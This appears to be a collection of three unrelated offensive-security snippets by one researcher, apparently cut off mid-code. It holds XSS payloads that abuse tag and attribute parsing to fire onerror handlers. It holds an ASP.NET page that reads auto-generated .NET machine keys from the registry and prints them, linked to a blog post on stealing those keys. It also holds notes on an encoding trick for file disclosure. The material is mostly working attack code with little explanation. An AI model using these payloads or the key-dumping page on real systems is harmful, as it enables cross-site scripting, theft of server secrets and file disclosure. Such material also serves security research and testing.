irsdl

<img alt="<x" title="/><img src=url404 onerror=xss(0)>">

<img alt="
<x" title="/>
<img src=url404 onerror=xss(1)>">

<style><style/><img src=url404 onerror=xss(2)>

<xmp><xmp/><img src=url404 onerror=xss(3)>

irsdl

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)

irsdl

# Convert from iso-8859-1, utf-8ed to binary!
# Useful for file disclosure when encoding can be controlled
# The following C# code shows an example (result is iso-8859-1, utf-8ed!):
###string encoding = "iso-8859-1";
######string sourceFile = @"Newtonsoft.Json.dll";
######
######public void test()
######{
#########System.Text.Encoding myEncoding = Encoding.GetEncoding(encoding);
#########String sourceFilePath = Directory.GetCurrentDirectory() + @"\" + sourceFile;